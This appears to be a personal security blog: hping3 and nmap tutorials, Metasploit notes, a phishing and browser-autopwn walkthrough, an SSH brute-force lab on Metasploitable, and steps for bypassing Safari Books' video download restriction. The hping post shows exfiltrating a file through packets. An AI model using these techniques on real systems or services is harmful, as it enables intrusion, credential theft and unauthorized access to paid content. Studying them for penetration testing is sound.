iPositive Security

[DIY] Tools - Using Hping

2012-01-31T05:23:00.002+05:30

Here's a quick hping usage tutorial.

From the man page:

hping3 is a network tool able to send custom TCP/IP packets and to display target replies like ping program does with ICMP replies. hping3 handle fragmentation, arbitrary packets body and size and can be used in order to transfer files encapsulated under supported protocols. Using hping3 you are able to perform at least the following stuff:

- Test firewall rules
- Advanced port scanning
- Test net performance using different protocols, packet size, TOS (type of service) and fragmentation.
- Path MTU discovery
- Transferring files between even really fascist firewall rules.
- Traceroute-like under different protocols.
- Firewalk-like usage.
- Remote OS fingerprinting.
- TCP/IP stack auditing.
- A lot of others.

Refer to man hping3 and hping3 --help for detailed options & switches.

Let's start with some common base options which are pretty self-explanatory & then move on to modes et all:

root@victor:xd# hping3 --help
usage: hping3 host [options]
-h --help show this help
-v --version show version
-c --count packet count
-i --interval wait (uX for X microseconds, for example -i u1000)
--fast alias for -i u10000 (10 packets for second)
--faster alias for -i u1000 (100 packets for second)
--flood sent packets as fast as possible. Don't show replies.
-n --numeric numeric output
-q --quiet quiet
-I --interface interface name (otherwise default routing interface)
-V --verbose verbose mode
-D --debug debugging info
...snip...

I would like to mention one switch in the IP options category: --rand-source. This hping switch selects the source address of all packets randomly. This can therefore, be used to do (stress) testing stateful firewalls. But it can also potentially fill up the state table, in turn causing legit users & traffic to drop off. So, need to keep this when using this option.

Okay, moving on.

By default, hping sends TCP packets with no tcp flags set, and target host's port 0, continuously. A target system will respond with a RST packet, confirming that it is live.

root@victor:xd# hping3 172.72.5.139
HPING 172.72.5.139 (vmnet1 172.72.5.139): NO FLAGS are set, 40 headers + 0 data bytes
len=40 ip=172.72.5.139 ttl=128 id=32996 sport=0 flags=RA seq=0 win=0 rtt=13.4 ms
len=40 ip=172.72.5.139 ttl=128 id=32997 sport=0 flags=RA seq=1 win=0 rtt=0.7 ms
len=40 ip=172.72.5.139 ttl=128 id=32998 sport=0 flags=RA seq=2 win=0 rtt=0.4 ms
^C
--- 172.72.5.139 hping statistic ---
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 0.4/4.8/13.4 ms

There are several modes that we can use hping in. Default mode is TCP.

root@victor:xd# hping3 --help
usage: hping3 host [options]
...
snip
...
Mode
default mode TCP
-0 --rawip RAW IP mode
-1 --icmp ICMP mode
-2 --udp UDP mode
-8 --scan SCAN mode.
Example: hping --scan 1-30,70-90 -S www.target.host
-9 --listen listen mode
...
snip
...

RAW IP mode sends the packets without a TCP or UDP headers. To send raw IP packets to target, use the -0 or --rawip switch:

root@victor:xd# hping3 --rawip 172.72.5.139
HPING 172.72.5.139 (vmnet1 172.72.5.139): raw IP mode set, 20 headers + 0 data bytes
^C
--- 172.72.5.139 hping statistic ---
19 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

As we see here, the target (& most systems) silently drops the raw ip packets.

With ICMP mode, hping sends ICMP packets to the target. By default, ICMP echo-requests are sent.

root@victor:xd# hping3 --icmp 172.72.5.139
HPING 172.72.5.139 (vmnet1 172.72.5.139): icmp mode set, 28 headers + 0 data bytes
len=28 ip=172.72.5.139 ttl=128 id=309 icmp_seq=0 rtt=3.8 ms
len=28 ip=172.72.5.139 ttl=128 id=310 icmp_seq=1 rtt=0.6 ms
len=28 ip=172.72.5.139 ttl=128 id=311 icmp_seq=2 rtt=0.4 ms
^C
--- 172.72.5.139 hping statistic ---
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 0.4/1.6/3.8 ms

We can easily set other ICMP type/code by using -K / --icmptype or -C / --icmpcode switches.

root@victor:xd# hping3 --help
usage: hping3 host [options]...
snip
...
ICMP
-C --icmptype icmp type (default echo request)
-K --icmpcode icmp code (default 0)
--force-icmp send all icmp types (default send only supported types)
--icmp-gw set gateway address for ICMP redirect (default 0.0.0.0)
--icmp-ts Alias for --icmp --icmptype 13 (ICMP timestamp)
--icmp-addr Alias for --icmp --icmptype 17 (ICMP address subnet mask)
--icmp-help display help for others icmp options
...
snip
...

For example to use --icmptype as Timestamp / icmp type 13 code 0:

root@victor:xd# hping3 -c 3 --icmptype 13 172.72.5.139
HPING 172.72.5.139 (vmnet1 172.72.5.139): icmp mode set, 28 headers + 0 data bytes
len=40 ip=172.72.5.139 ttl=128 id=321 icmp_seq=0 rtt=0.9 ms
ICMP timestamp: Originate=78180467 Receive=1459333124 Transmit=1459333124
ICMP timestamp RTT tsrtt=1
len=40 ip=172.72.5.139 ttl=128 id=322 icmp_seq=1 rtt=0.4 ms
ICMP timestamp: Originate=78181468 Receive=1056942084 Transmit=1056942084
ICMP timestamp RTT tsrtt=1
len=40 ip=172.72.5.139 ttl=128 id=323 icmp_seq=2 rtt=0.5 ms
ICMP timestamp: Originate=78182468 Receive=637774084 Transmit=637774084
ICMP timestamp RTT tsrtt=1
--- 172.72.5.139 hping statistic ---
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 0.4/0.6/0.9 ms

Or use --icmpcode switch:

root@victor:xd# hping3 -c 2 --icmpcode 0 172.72.5.139
HPING 172.72.5.139 (vmnet1 172.72.5.139): icmp mode set, 28 headers + 0 data bytes
len=28 ip=172.72.5.139 ttl=128 id=341 icmp_seq=0 rtt=0.5 ms
len=28 ip=172.72.5.139 ttl=128 id=342 icmp_seq=1 rtt=0.4 ms
--- 172.72.5.139 hping statistic ---
2 packets transmitted, 2 packets received, 0% packet loss
round-trip min/avg/max = 0.4/0.5/0.5 ms

Of course, above example shows a ping [icmp type 8 code 0].

Similarly for UDP mode, -2 or --udp switch is used. By default, packets will be sent to target host's port 0.

root@victor:xd# hping3 -c 2 --udp 172.72.5.139
HPING 172.72.5.139 (vmnet1 172.72.5.139): udp mode set, 28 headers + 0 data bytes
ICMP Port Unreachable from ip=172.72.5.139 name=UNKNOWN
status=0 port=1067 seq=0
ICMP Port Unreachable from ip=172.72.5.139 name=UNKNOWN
status=0 port=1068 seq=1
--- 172.72.5.139 hping statistic ---
2 packets transmitted, 2 packets received, 0% packet loss
round-trip min/avg/max = 0.6/500.5/1000.3 ms

So, we receive ICMP Port Unreachable, since there is no UDP service running / listening on the target.

Next is the Scan Mode. We can turn to scan mode by using the -8 or --scan switch. A port or range of ports or an alias is expected as an argument. There are 2 aliases supported currently - all and known. 'all' means all ports 0-65535; 'known' will use all the ports listed in /etc/services file.

root@victor:xd# hping3 -8 21,22,23,135,139,445 172.72.5.139
Scanning 172.72.5.139 (172.72.5.139), port 21,22,23,135,139,445
6 ports to scan, use -V to see all the replies
+----+-----------+---------+---+-----+-----+-----+
|port| serv name | flags |ttl| id | win | len |
+----+-----------+---------+---+-----+-----+-----+
All replies received. Done.
Not responding ports:

We did not receive any service identification or confirmation response back from the target host. Or at least we do not know the response details yet.

We can use -V switch to get the response info.

root@victor:xd# hping3 -8 21,22,23,135,139,445 172.72.5.139 -V
using vmnet1, addr: 172.72.5.1, MTU: 1500
Scanning 172.72.5.139 (172.72.5.139), port 21,22,23,135,139,445
6 ports to scan, use -V to see all the replies
+----+-----------+---------+---+-----+-----+-----+
|port| serv name | flags |ttl| id | win | len |
+----+-----------+---------+---+-----+-----+-----+
21 ftp : ..R.A... 128 44033 0 40
22 ssh : ..R.A... 128 44289 0 40
23 telnet : ..R.A... 128 44545 0 40
135 loc-srv : ..R.A... 128 44801 0 40
139 netbios-ssn: ..R.A... 128 45057 0 40
445 microsoft-d: ..R.A... 128 45313 0 40
All replies received. Done.
Not responding ports:

Okay, it appears, that the target host is simply sending a RST ACK to all our scan packets.

Remember that by default, hping will NOT set any TCP flags - SYN, ACK, RST, PSH, URG, FIN. Let's set the SYN flag and scan again.

root@victor:xd# hping3 -8 21,22,23,135,139,445 172.72.5.139 -V -S
using vmnet1, addr: 172.72.5.1, MTU: 1500

Scanning 172.72.5.139 (172.72.5.139), port 21,22,23,135,139,445
6 ports to scan, use -V to see all the replies
+----+-----------+---------+---+-----+-----+-----+
|port| serv name | flags |ttl| id | win | len |
+----+-----------+---------+---+-----+-----+-----+
21 ftp : .S..A... 128 50177 64240 44
22 ssh : ..R.A... 128 50433 0 40
23 telnet : ..R.A... 128 50689 0 40
135 loc-srv : .S..A... 128 50945 64240 44
139 netbios-ssn: .S..A... 128 51201 64240 44
445 microsoft-d: .S..A... 128 51457 64240 44
All replies received. Done.
Not responding ports:

Alright, with SYN packets, we now find that the target responds back with SYN-ACK for some ports and RST-ACK for other ports.

A SYN-ACK implies that the ports [21,135,139,445] are open, whereas a RST-ACK for ports 22, 23 tells us they are closed / no ssh or telnet on the target box.

Now try using the aliases:

root@victor:xd# hping3 -8 known 172.72.5.139 -S
Scanning 172.72.5.139 (172.72.5.139), port known
317 ports to scan, use -V to see all the replies
+----+-----------+---------+---+-----+-----+-----+
|port| serv name | flags |ttl| id | win | len |
+----+-----------+---------+---+-----+-----+-----+
135 loc-srv : .S..A... 128 25860 64240 44
139 netbios-ssn: .S..A... 128 26628 64240 44
445 microsoft-d: .S..A... 128 34820 64240 44
21 ftp : .S..A... 128 774 64240 44
All replies received. Done.
Not responding ports:

root@victor:xd# hping3 -8 all 172.72.5.139 -S
Scanning 172.72.5.139 (172.72.5.139), port all
65536 ports to scan, use -V to see all the replies
+----+-----------+---------+---+-----+-----+-----+
|port| serv name | flags |ttl| id | win | len |
+----+-----------+---------+---+-----+-----+-----+
21 ftp : .S..A... 128 9127 64240 44
135 loc-srv : .S..A... 128 38311 64240 44
139 netbios-ssn: .S..A... 128 39335 64240 44
445 microsoft-d: .S..A... 128 33214 64240 44
52111 : .S..A... 128 8910 64240 44
All replies received. Done.
Not responding ports: (3130 icpv2) (3131 ) (3132 ) (3133 ) (3134 ) (3135 ) (3136 ) (3137 ) (3138 ) (3139 ) (3140 ) (3141 ) (3142 ) (3143 ) (3144 ) (3145 ) (3146 ) (3147 ) (3148 ) (3149 ) (3150 ) (3151 ) ...snip...

Final mode is the Listen mode, activated by -9 or --listen switch. Basically, when started in listen mode, hping waits] for an incoming packet. hping expects a signature in the incoming packet. Once it finds the signature, hping then dumps the packet, starting -from- the signature -to- the packet end.

For example, on my *nix box, I start hping in listen mode and set the signature as 'JackP0t'. Note that in listen mode, we need to specify the interface to listen on [in case there are multiple interfaces on your box]. Next on the Windows target box, I start hping and give it the file 'confidential_file' as the data input. Remember this data file content will be 'prepended' with the signature 'JackP0t' when it goes out in the packet.

root@victor:xd# hping3 --help
usage: hping3 host [options]...
snip
...
Common
-d --data data size (default is 0)
-E --file data from file
-e --sign add 'signature'
-j --dump dump packets in hex
-J --print dump printable characters
-B --safe enable 'safe' protocol
-u --end tell you when --file reached EOF and prevent rewind
-T --traceroute traceroute mode (implies --bind and --ttl 1)
--tr-stop Exit when receive the first not ICMP in traceroute mode
--tr-keep-ttl Keep the source TTL fixed, useful to monitor just one hop
--tr-no-rtt Don't calculate/show RTT information in traceroute mode
...
snip
...

On *nix box:

root@victor:xd# hping3 --listen JackP0t -I vmnet1
hping3 listen mode
[main] memlockall(): Success
Warning: can't disable memory paging!
Secret data.Secret data.Secret data.Secret data.Secret data.Secret data.Secret data.Secret data.Secret data.Secret data.Secret data.Secret data.Secret data.Secret data.Secret data.Secret data.Secret data. <--- content in the file 'confidential_file' which we sent in the packets. hping listener sees the signature 'JackP0t' and then dumps bytes that follow.

From Windows system:

C:\Documents and Settings\Administrator\Desktop\hping2.win32>hping --data 100 --file confidential_file.txt -e JackP0t 172.72.5.1 -V --end <--- we have set a data size of 100 bytes, specified the file 'confidential_file.txt' as data input, set 'JackP0t' as the signature, used a Verbose option to see responses and lastly, used the --end option to tell us when the file reaches EOF.

using AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport, addr: 172.72.5.139, MTU: 1500
HPING (XPSP2) 172.72.5.1 (AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport 172.72.5.1): NO FLAGS are set, 40 headers + 100 data bytes
[main] memlockall(): No error
Warning: can't disable memory paging!
EOF reached, wait some second than press ctrl+c
len=46 ip=172.72.5.1 ttl=64 DF id=0 tos=0 iplen=40
sport=0 flags=RA seq=0 win=0 rtt=16.0 ms
seq=0 ack=141 sum=7441 urp=0
EOF reached, wait some second than press ctrl+c
len=46 ip=172.72.5.1 ttl=64 DF id=0 tos=0 iplen=40
sport=0 flags=RA seq=1 win=0 rtt=0.0 ms
seq=0 ack=26600 sum=17da urp=0

Do note that hping does NOT allow us to scan or send packets to a range of IP addresses. However, we can automate it using a bit of shell scripting.

Let's say we want to send 1 single SYN packet to all 'known' alias ports on all hosts in 172.72.5.0/24 network. This can be done as follows:

for i in `seq 1 255`; do hping3 --count 1 -8 known -S 172.72.5.$i; done

.....

[Quick Notes] Various network scan types

2012-01-30T04:01:00.000+05:30

A pentester performs several types of network scans during a test. These are usually sequential in nature, that is, we proceed with each scan, collect information and the move on to the next scan. With each scan, we gather specific information about our target environment.

1. Network Sweeps: Objective is to identify any live IP addresses in the target range - think, ping <IP> or nmap -sn <IP>.

2. Network Tracing: Here we try to determine the target network topology & create a network map - think, traceroute or nmap --trace <IP>.

3. Port Scanning: As the name suggests, we attempt to identify any open, listening TCP and UDP ports on target hosts. At this step, a pentester gets a fair idea on what kind of applications & services are running in the environment. If any of the services is/are known to be vulnerable, a tester has a potential avenue of compromising the vulnerable host.

4. OS fingerprinting: Now that we have identified the running services, we must identify the platform it is running on. Is the target a Solaris server, or is it RHEL or a Microsoft Windows 2008 server? Our exploits, other attacks and more importantly, the overall attack process for a host running a vulnerable service, for example, will vary based on what is the host OS. Once a target OS is known, a tester can research for known OS vulnerabilities, exploits & potential security controls in place. The actual attack surface on the host, hence, becomes clear with the knowledge of target OS.

Simply use nmap to fingerprint the OS (Active OS fingerprinting): nmap -O <IP> / or use p0f3 (Passive OS fingerprinting).

5. Version Scans: This scan attempts to confirm what versions of services are running on the end hosts. Knowing the service versions can also, in some cases, immediately tell a tester if a vulnerable service is implemented in the target environment. An example is SSH v1, which has known vulnerabilities. With nmap, service scan is: nmap -sV <IP>.

6. Vulnerability Scanning: At this point, we know the live IPs, listening ports, what services are running on the ports, what is the operating system and platform of the targets, and what are the versions of services running on them. This scanning phase confirms if any of the identified hosts & services have known vulnerabilities. Most vulnerability scanners today also tell if there are any known, publicly-available exploits present for an identified vulnerability, whether certain services are using no authentication or weak auth (think, default or no MSSQL 'sa' account), CVE-ID, etc.

Hack Safaribooks video downloads

2012-01-23T18:18:00.000+05:30

I have a safaribooks account. A few hours back, I was going through a video series on safari & I thought I should download it for offline reference. Makes it easier to study.

But there is no option to download videos! That sucks on part of Safari. They expect users to be online to be able to watch the video packages? wtf!

I decided to take a look at the site just to make sure the option is not hidden somewhere. Nope. No download option for videos. Fast forward a 10-15 minutes, I find myself checking the source code; crazy amounts of AJAX code in there.

After another 15 minutes or so, here I am, watching the videos offline & writing this post.

I followed through post AJAX, carefully looked at the site & the options available for us, the users; & identified a way. No 'testing' involved, just a knowledge of site & flow was needed. As of today, this is probably the 'only' way to download the undownloadable videos from Safari.

Please do note you or someone else needs to be a user - Individual or Corporate - for being able to 'know' the location of content on Safari.

Scroll down past the table of contents.

Switch to Mobile Version.

Proceed with 'Start Watching'. Meanwhile, notice that the link to 'Start Watching' for this item is:

m.safaribooksonline.com/clip?isbn=XXXXX&linkid=a01

This is the next screen when you click on 'Start Watching'.

The original request goes to m.safaribooksonline.com/clip?isbn=XXXXX&linkid=a01 which then redirects to the actual download link:

http://safari.vo.llnwd.net/kip0/_pxn=1+_pxI0=Ripod-h264+_pxL0=undefined+_pxM0=+_pxK=19616/mobile/s/BBBBB/a01.mp4?AccountId=XXXXX&UserId=YYYYY&e=1327343958&Fpid=BBBBB&ClipId=a01&source=mui&h=ZZZZZ&source=mui&e=AAAAA&h=ZZZZZ&ClipId=a01&AccountId=XXXXX&UserId=YYYYY&Fpid=BBBBB

You can now use FlashGet to download it.

For other parts of the video series, simply modify the parameters in the download URL:

http://safari.vo.llnwd.net/kip0/_pxn=1+_pxI0=Ripod-h264+_pxL0=undefined+_pxM0=+_pxK=19616/mobile/s/BBBBB/a01.mp4?AccountId=XXXXX&UserId=YYYYY&e=1327343958&Fpid=BBBBB&ClipId=a01&source=mui&h=ZZZZZ&source=mui&e=AAAAA&h=ZZZZZ&ClipId=a01&AccountId=XXXXX&UserId=YYYYY&Fpid=BBBBB

For video #2, the URL becomes:

http://safari.vo.llnwd.net/kip0/_pxn=1+_pxI0=Ripod-h264+_pxL0=undefined+_pxM0=+_pxK=19616/mobile/s/BBBBB/a02.mp4?AccountId=XXXXX&UserId=YYYYY&e=1327343958&Fpid=BBBBB&ClipId=a02&source=mui&h=ZZZZZ&source=mui&e=AAAAA&h=ZZZZZ&ClipId=a01&AccountId=XXXXX&UserId=YYYYY&Fpid=BBBBB

And so on...

Actually, as you will find out eventually, that FlashGet can download the file, without needing any URL parameters:

http://safari.vo.llnwd.net/kip0/_pxn=1+_pxI0=Ripod-h264+_pxL0=undefined+_pxM0=+_pxK=19616/mobile/s/BBBBB/a03.mp4

You can also use Firefox or Opera. Both of them do NOT ask for any authentication when the video URL is entered.

You can use any firefox video downloader extension like Ant Video Downloader to download the video.

This implies that if one can gain knowledge of a URL, perhaps from someone who has an account on Safari, and who can access a video resource, anyone may be able to download the videos.

Also, since we were able to strip off all parameters such as AccountId, UserID etc, and still got a proper file as server response when using a different browser afresh - firefox/opera, how might safari be tracking whether the request was legit or not, i.e. was the request sent by an authenticated AND an authorized user? Certainly doesn't look like they do! A review of AAA controls of the download site could be a start for Safari.

.....

Passed GIAC GWAPT Exam

2012-01-21T13:45:00.000+05:30

Hi dears,

I just wanted to share first update of this year.

I sat for & passed the SANS GIAC Web Application Penetration Testing - GWAPT - exam on January 14, 2012. I found the exam was pretty tough as compared to the previous GIAC exams I had attempted - GPEN, GCIH, and GREM.

I have been doing web app pentesting for a while. So, most of the tested topics were not new to me. I did a self-study for this exam. I used the following study resources to prepare:

1. SANS GPEN course material

2. OWASP - this site has a lot of good, relevant information on a majority of web app topics.

3. Web Application Hacker's handbook

4. SQL Injection - Attacks & Defense by Justin Clarke - A superb book for injection attacks.

5. Backtrack - Specifically for any or all related tools - load it up & practice various web app testing related tools on this dist.

6. Google - Yeah, search out specific topics, terms, video tutorials, tool demonstrations. This is significant especially if you choose to take the self-study route.
7. Misc Notes - some random, personal notes on various topics.

I know it's not easy to take out 4000+ usd for official course materials. I hope this info will help someone planning self-study to tame this beast.

As always, let me know if you have any questions. I will be glad to help.

KG

[Quick notes] Metasploit payload types

2011-12-25T18:58:00.000+05:30

To start with, a vulnerability is a weakness in the target system which creates a security risk - that it can be exploited.

An exploit is a way, a piece of code that can trigger & take advantage of a vulnerability.

A payload is the actual component in the attack which 'do' things for an attacker.

Therefore, a payload must have at least 2 components in it:

1. Communications capability - set up communication channel for the attacker

2. Functionality - defines what all actions an attacker can perform

Metasploit provides 2 types of payloads:

1. Single / Stand-alone / Self-contained

2. Staged [Stager + Stage]

Here,

Stager = communication module

And

Stage = functionality

A full payload = Stager + Stage

Self-contained payloads have both Stager & Stage already bundled together. These payloads include all functionality to load itself into the memory, set up communication channel for the attacker, and lastly provide attacker with the environment & command capability to interact with the compromised system.

A few examples of single / self-contained payloads are:

exec -> runs a command
adduser -> creates a new local user and add it to local administrator group
shell_bind_tcp / shell_reverse_tcp -> sets up a standard TCP bind / reverse listener

In contrast to self-contained payloads, Staged payloads function in a slightly different manner.

A Staged payload constitutes of a Stager and a Stage. These 2 components are NOT bundled together. An attacker can specify a stager and a stage independently.

When a vulnerability is exploited successfully, the Stager component goes first as payload. The stager is responsible for uploading the Stage next, and to set up communications channel for the stage so that attacker can interact with it.

Let's look for Stagers and Stages in the Metasploit directories..

Java Stagers

ls /opt/msfo/msf3/modules/payloads/stagers/java/
bind_tcp.rb reverse_http.rb reverse_tcp.rb

ls -R /opt/msfo/msf3/modules/payloads/stagers/linux/

/opt/msfo/msf3/modules/payloads/stagers/linux/:
x64 x86

/opt/msfo/msf3/modules/payloads/stagers/linux/x64:

bind_tcp.rb reverse_tcp.rb

/opt/msfo/msf3/modules/payloads/stagers/linux/x86:

bind_ipv6_tcp.rb bind_tcp.rb find_tag.rb reverse_ipv6_tcp.rb reverse_tcp.rb

ls -R /opt/msfo/msf3/modules/payloads/stagers/windows/

/opt/msfo/msf3/modules/payloads/stagers/windows/:
bind_ipv6_tcp.rb reverse_http.rb reverse_ord_tcp.rb x64
bind_nonx_tcp.rb reverse_https.rb reverse_tcp_allports.rb
bind_tcp.rb reverse_ipv6_tcp.rb reverse_tcp_dns.rb
findtag_ord.rb reverse_nonx_tcp.rb reverse_tcp.rb

/opt/msfo/msf3/modules/payloads/stagers/windows/x64:

bind_tcp.rb reverse_tcp.rb

-> Notice that all these are setting up a communications channel.

Now looking for Stages:

ls /opt/msfo/msf3/modules/payloads/stages/

bsd bsdi java linux netware osx php windows

Java Stages

ls /opt/msfo/msf3/modules/payloads/stages/java/
meterpreter.rb shell.rb

OSX Stages

ls -R /opt/msfo/msf3/modules/payloads/stages/osx/
/opt/msfo/msf3/modules/payloads/stages/osx/:
armle ppc x86

/opt/msfo/msf3/modules/payloads/stages/osx/armle:

execute.rb shell.rb

/opt/msfo/msf3/modules/payloads/stages/osx/ppc:

shell.rb

/opt/msfo/msf3/modules/payloads/stages/osx/x86:

bundleinject.rb isight.rb vforkshell.rb

Windows Stages

ls -R /opt/msfo/msf3/modules/payloads/stages/windows/

/opt/msfo/msf3/modules/payloads/stages/windows/:

dllinject.rb patchupdllinject.rb shell.rb vncinject.rb
meterpreter.rb patchupmeterpreter.rb upexec.rb x64

/opt/msfo/msf3/modules/payloads/stages/windows/x64:

meterpreter.rb shell.rb vncinject.rb

-> All these modules provide functionality & interactive environments.

[Quick Notes] Nmap TCP / UDP scanning

2011-12-24T05:59:00.000+05:30

TCP Scanning:
Pretty straight...

1. TCP SYN sent
TCP SYN / ACK received
=> Target TCP Port is open
=> Nmap marks this result as 'Open'

2. TCP SYN sent
RST / ACK received
=> Target TCP port is closed
OR
=> Firewall blocked the request / response | i.e. we cannot reach that port at all
=> Nmap marks this result as 'Closed'

3. TCP SYN sent
ICMP Port unreachable received
=> A network / host firewall is blocking access to port
=> Nmap marks this result as 'Filtered'

4. TCP SYN sent
No Response received
=> Nmap resends SYN packet. If still nothing is received, then either port is closed or a network / host firewall is blocking our request packet.
=> Nmap marks this result as 'Filtered'

UDP scanning:

1. UDP datagram sent
Response received
=> Target UDP port is open
=> Nmap marks this result as 'Open'

2. UDP datagram sent
'ICMP Port Unreachable' received
=> Target UDP port is closed
OR
=> Firewall blocked the outbound response

For this scenario, Nmap checks if response is ICMP port unreachable Type 3, Code 3. If it is, then Nmap confirms that port is 'Closed'. For any other ICMP port unreachable errors - type 3, code 1, 2, 9, 10, or 13, Nmap will mark the port as 'Filtered'.

3. UDP datagram sent
No response received

This could be because of several reasons such as closed port, firewall blocking incoming UDP probe packet, firewall may be blocking outbound UDP response, or that the UDP port being probed could be expecting a data in order to respond back.

Specific to this scenario, where a UDP port may be looking for data in the incoming request packet, Nmap makes use of a handful of payloads. This payload is protocol specific like DNS 53, SNMP 161, rpc 111 etc. In response to these payloads, a relevant listening UDP port will send back a response. Therefore, the reliability of UDP scan results goes up.

=> Based on the response / no response, Nmap will mark this port as 'Open|Filtered'.

[Quick Notes] Nmap's way of probing targets

2011-12-24T05:25:00.001+05:30

Reading up on Nmap. Thought of sharing this quick post.

Nmap probes a target before scanning it for open ports and services. Nmap address probing works as follows:-

For root / administrator users
-> If the attacker / scanning box is on the same subnet as the target, then nmap will only out ARP requests.

However if attacker sits on a different subnet than the target, then nmap will send

-> ICMP Echo Request
-> TCP SYN to port 443
-> TCP ACK to port 80
-> ICMP Timestamp Request [Type 13]

Note that Nmap sends out ALL 4 probe packets at once; it does not wait to receive response to ICMP Echo Request.

For non-root / non-administrative users
Nmap will simply start a 3-way handshake by sending

-> TCP SYN to port 80
-> TCP ACK to port 443

It does NOT send any ICMP packet.

Client-side exploitation using Metasploit Pro v4

2011-11-15T18:59:00.001+05:30

This write-up shows how you can get up & running with client-side / phishing assessment using Metasploit Pro 4.0.

Let's start by creating a new project.

We are at project home screen now. This screen shows various details like hosts discovered, vulnerabilities, sessions opened, web apps, social engineering campaigns. Social Engineering campaign is what we are doing now. Once we create new campaigns in the upcoming screens, this section will be updated. Also, note that there is a Recent Events screenlet down there. It gives us a log of whatever task(s) is running / has run.

Go to Campaigns option in the menu and click 'New Campaign'.

Enter the details as shown in the next screen. There're different campaigns you can run:

Web campaign -> Basically this runs a web server at a port that you specify. Once someone clicks on the web server URL, metasploit pro will send out client-side payload(s) which you will configure in the next screen.
USB Drive campaign -> Create a bind shell payload exe. Put it on a USB drive, distribute it & wait for connect backs.
Email campaign -> Here specify a SMTP server which you will use to send out phishing emails. Give your user ID, password, & add a Display Name. Lastly you can upload the list of email addresses from a file. You can also choose to add invidual email addresses later.

In this case, 172.72.5.1 is my local interface IP address. Once all information is entered, save the campaign.

Next, we need to build configuration for web campaign. Here we have 2 sections:

Web Template Settings: Either clone an existing website, for example, paypal.com; OR specify your own HTML template
Exploit Settings: This is where you will define what happens when target user accesses the malicious web url. You can chose to not run any exploits, chose a specific exploit, or start browser autopwn. In this demo, AutoPwn is run as soon as end user clicks the web server url.

Autopwn tries out all exploits based on the browser that accesses the URL.

Next, we configure Email Template Settings for our email campaign. Here we have an option to send malicious exploit / payload as attachment.

On the next screen, I enter my email address. Here's the place where you will enter the target user email addresses.

Save & you will reach the summary screen. Here it shows you Campaign configuration(s).

Note that I have already run this campaign earlier in testing so you see 'Sent 1 email'. So you can ignore it for now.

Click on Run Campaign to start the campaign.

Here is the view from victim's email screen. So, the message appears to come from CEO Office, & has a link in it.

Before I click on the link, let's look at the campaign task log. Here we see that metasploit has started various listeners as part of browser autopwn run.

As soon as I click the link, you see metasploit identifies the browser & OS from where the click happened.

Browser Autopwn does it job in the background and pwns the box via ms03-020 vulnerability.

w00t we get a remote meterpreter shell.!

View the session details in Sessions menu.

loot & play with the pwn'd box by accessing the session.

Metasploitable - Exploring SSH service

2011-08-27T07:48:00.000+05:30

Call trans opt: received. 2-19-98 13:24:18 REC:Loc

Trace program: running

wake up, Neo...

the matrix has you

follow the white rabbit.

knock, knock, Neo.

(`. ,-,

` `. ,;' /

`. ,'/ .'

`. X /.'

.-;--''--.._` ` (

.' / `

, ` ' Q '

, , `._ \

,.| ' `-.;_'

: . ` ; ` ` --,.._;

' ` , ) .'

`._ , ' /_

; ,''-,;' ``-

``-..__``--`

=[ metasploit v4.0.1-dev [core:4.0 api:1.0]
+ -- --=[ 728 exploits - 372 auxiliary - 80 post
+ -- --=[ 227 payloads - 27 encoders - 8 nops
=[ svn r13643 updated today (2011.08.26)

B. 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)

Time to explore SSH service on the target.

Let's start with service version scan using metasploit auxiliary module.

msf auxiliary(ssh_version) >
Module options (auxiliary/scanner/ssh/ssh_version):
set RHOSTS 172.72.5.143
run
[*] 172.72.5.143:22, SSH server version: SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

From exploring FTP service, we had already identified 4 user names - user, postgres, service and msfadmin. We should now try to brute force ssh passwords for these users.

Metasploit module --> auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > set RHOSTS 172.72.5.143
RHOSTS => 172.72.5.143
msf auxiliary(ssh_login) > set USER_FILE /tmp/users
USER_FILE => /tmp/users
msf auxiliary(ssh_login) > set PASS_FILE /tmp/pass
PASS_FILE => /tmp/pass
msf auxiliary(ssh_login) > run

[*] 172.72.5.143:22 SSH - [05/20] - Trying: username: 'user' with password: 'user'
[*] Command shell session 2 opened (172.72.5.1:33210 -> 172.72.5.143:22) at 2011-08-25 03:59:56 +0530
[+] 172.72.5.143:22 SSH - [05/20] - Success: 'user':'user' 'uid=1001(user) gid=1001(user) groups=1001(user) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '[*] 172.72.5.143:22 SSH - [06/20] - Trying: username: 'msfadmin' with password: 'msfadmin'
[*] Command shell session 3 opened (172.72.5.1:58888 -> 172.72.5.143:22) at 2011-08-25 03:59:56 +0530
[+] 172.72.5.143:22 SSH - [06/20] - Success: 'msfadmin':'msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '[*] 172.72.5.143:22 SSH - [07/20] - Trying: username: 'postgres' with password: 'postgres'
[*] Command shell session 4 opened (172.72.5.1:56421 -> 172.72.5.143:22) at 2011-08-25 04:00:01 +0530
[+] 172.72.5.143:22 SSH - [07/20] - Success: 'postgres':'postgres' 'uid=108(postgres) gid=117(postgres) groups=114(ssl-cert),117(postgres) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '[*] 172.72.5.143:22 SSH - [08/20] - Trying: username: 'service' with password: 'service'
[*] Command shell session 5 opened (172.72.5.1:40998 -> 172.72.5.143:22) at 2011-08-25 04:00:02 +0530
[+] 172.72.5.143:22 SSH - [08/20] - Success: 'service':'service' 'uid=1002(service) gid=1002(service) groups=1002(service) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '

Assuming in case the passwords followed best security practices and were not present in our dictionary files either, then what could have we done here to gain ssh access to target?

